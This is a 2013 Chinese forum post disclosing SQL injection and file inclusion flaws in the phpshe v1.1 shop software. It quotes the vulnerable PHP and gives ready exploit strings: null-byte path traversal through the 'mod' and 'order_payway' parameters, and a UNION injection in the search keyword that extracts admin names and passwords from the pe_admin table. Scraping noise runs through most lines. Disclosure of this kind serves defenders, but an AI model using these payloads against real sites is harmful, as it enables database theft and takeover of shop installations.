找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2341|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/0 ~" V  f" |! T4 T
/* Phpshe v1.1 Vulnerability. {: x5 L* ~6 `; Q" Z# b  l1 A
/* ========================4 c9 z! q9 o1 ?) |4 l" v
/* By: : Kn1f3
4 O$ d' f4 j; g" C' l+ @/* E-Mail : [email protected]
) G# f. T8 K" w3 w/*******************************************************/  s2 ]" [* u- D3 k- U
0×00 整体大概参数传输4 n' b& U1 K7 ]! f: U1 s% T

: B9 a* j/ @8 j( c4 o; w% v
1 Y6 Q# U; e( n& W  K  u

+ i* n1 z+ l7 o2 V//common.php8 G. @4 O5 K6 L7 \( r: Z# E
if (get_magic_quotes_gpc()) {
1 _4 x/ I9 b9 ~/ M" C: }4 u/ C!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
! ^( v3 A3 X- ?/ K/ j$ U7 N!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% V0 d7 V9 e6 k. m% Q# L- W9 I" i( X}
4 f. P5 @# ?9 {: z  ~  T/ Felse {
8 |/ n# U$ N1 |5 J3 Y!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- Z( ^! T2 z, L# L4 }" H; `8 u5 k!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');( k8 B8 L$ g, U  _" q
}
) T# r. |6 _: ]9 b# Y9 ]8 Isession_start();" T1 s5 ?' L" `9 k
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');9 ^. T5 Q/ ]" K  |6 i7 E
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
/ L* D+ R) C- q1 \" C9 b  c0 q" z: L  B) t+ K8 T
0×01 包含漏洞
) j: l1 `' \1 m0 k1 J - }. T: e' \/ W8 ]3 _, ~0 h( I
4 p2 k! l9 f+ T, h" q
//首页文件
6 A' T5 q* [7 D7 k+ h* Y, B<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);: t2 {' o3 ~0 i8 v3 D+ f  r3 _
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
) C. m3 y% l. o0 F9 |  cpe_result();
' H4 Y! V' r( B1 Q5 F$ g?># i! o" V7 {: y/ e' @0 {4 F
//common 文件 第15行开始  ^# e4 @4 N7 m! A3 ^' {" l
url路由配置
8 [. A4 q7 x% ^7 E$module = $mod = $act = 'index';
: c2 c' I$ o0 }4 ]2 X% G8 x' M# Z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);  P1 d/ U( J0 E6 J- S1 J
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);+ C# z- {7 s8 o) q
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
: x* R6 ?. R' Y, P//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00- d/ @* G8 \0 u% j

! \* v& A/ {0 g% X) Q

# i+ ~, D' ~& P0 N 0×02 搜索注入
9 T/ k% V- O/ L / N! H  p2 p% a
<code id="code2">

//product.php文件
! n; A4 ^9 ^; L0 Qcase 'list':$ M; q7 }( e# z
$category_id = intval($id);
: Y' P" {. ^1 i6 K6 j$info = $db->pe_select('category', array('category_id'=>$category_id));9 G, _% }2 E" g1 W2 `* k
//搜索
$ X, r+ O% ]& z: `, Q2 Q$sqlwhere = " and `product_state` = 1";& K2 M" ]5 a& q' b8 l
pe_lead('hook/category.hook.php');) x8 I/ k" K) A# P
if ($category_id) {- L9 U# V( j" l! z/ M* G
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";1 Y5 ]- [( H# \$ t7 Y2 R! T
}* e: s. f& `0 H1 i! r$ y
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' u+ I2 W: _8 _: p! ]' W! sif ($_g_orderby) {0 e5 b+ O6 E$ t2 L3 V: @! b
$orderby = explode('_', $_g_orderby);
% r9 Z, x: m0 y/ b0 R5 c$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";7 r$ v" _% K6 C) _/ W( M) w
}
9 n0 r; l# F; {7 ~4 Uelse {4 o" u0 v% e; ~& I( r
$sqlwhere .= " order by `product_id` desc";
( k: f" T" x) W7 p' s' I& ^8 D}
/ s+ m! f0 I# w# R7 R6 n( K0 r$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
0 u+ v$ R" B7 p* V//热卖排行/ h9 O2 Y% O+ h0 T1 L* Q. c, D
$product_hotlist = product_hotlist();
8 t9 N0 w: m1 }8 h3 R  C2 G//当前路径
0 v& ]( T3 l6 @) v( _4 j( W  }1 z3 g+ M$nowpath = category_path($category_id);
/ Q: o6 I+ d' @! c+ N4 {2 g) a& ~. u" I$seo = pe_seo($info['category_name']);
4 A+ R" r6 p4 winclude(pe_tpl('product_list.html'));
1 y6 y  J8 j1 a- }. ]* ^( V//跟进selectall函数库: W# E  e! J6 T9 x
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array()), v8 i0 H+ S& k/ O3 R
{+ g8 A1 f7 ?4 b) U& p" _" w
//处理条件语句
4 `+ U: N! f1 M0 u) N) w$sqlwhere = $this->_dowhere($where);
  i8 I5 B" S3 ]5 S! B9 Ureturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" B7 b' _+ x- W/ s$ \}
+ P  r% T* _4 q# A//exp
% A/ K$ k9 [' H! V' Eproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
9 P& U8 B4 T- f/ t- Q5 j$ B

</code>" p0 c  i3 v( t) Q% v9 @3 n8 W

# ^( c7 }, h8 c0×03 包含漏洞2
. \6 k" X) n; i" n4 E
! q+ k: n1 W0 A<code id="code3">

//order.php

case 'pay':


% i# k  `6 I+ D1 P2 q9 [  q! Y$order_id = pe_dbhold($_g_id);

8 C" c4 A+ P7 l3 H
$cache_payway = cache::get('payway');

# ~- u; y3 p" G) B% B/ E7 Q
foreach($cache_payway as $k => $v) {


, F+ ]3 y# ?. E+ _' D. d2 t2 m# m3 M$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

$ I9 \5 |/ p9 H6 E
if ($k == 'bank') {


8 t+ v/ S  x# |: S) ?$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


. e. m/ @0 ?" I2 K3 {* W+ v5 M}


. z5 Z* i' A5 G3 V. D}

& u8 l7 B! K7 v* D* B- z3 J7 I
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


8 S2 t% H9 B% C. F; M!$order['order_id'] && pe_error('订单号错误...');

+ s. \+ D2 q8 s- V# \" m, E7 b
if (isset($_p_pesubmit)) {


2 C/ _# _% b: P+ a4 m7 mif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- B9 D1 u( N* ~+ R' N4 {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


3 G9 a8 T& D8 W% ?foreach ($info_list as $v) {


3 S6 I3 Q& n+ [9 @+ ]) t$order['order_name'] .= "{$v['product_name']};";
  w8 F' T, \4 z$ X, J9 }


. r  e+ p6 ]* }/ _}

4 D/ g# P( f2 G2 s( T
echo '正在为您连接支付网站,请稍后...';


4 s7 ]( e$ |1 A3 A2 r/ Ginclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

+ o4 [8 ]) o$ ^) b6 h
}//当一切准备好的时候就可以进行"鸡肋包含了"

1 A+ |; b; X  d" Q# y- F; Q2 K
else {


7 ]  s# @  r; V6 m, lpe_error('支付错误...');

" x! F2 c& `. }  v7 l
}


1 h$ ?! L- [  w' M5 t: n. O9 P; V}


+ z& g1 v# f  R/ j; }2 a) w$seo = pe_seo('选择支付方式');


! E/ y! S4 l8 f3 Y* [+ Ginclude(pe_tpl('order_pay.html'));


  n6 ~* |# X9 k+ R2 o  N8 X4 Ybreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>; d$ n& H% r3 g) @' ~" |8 t

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表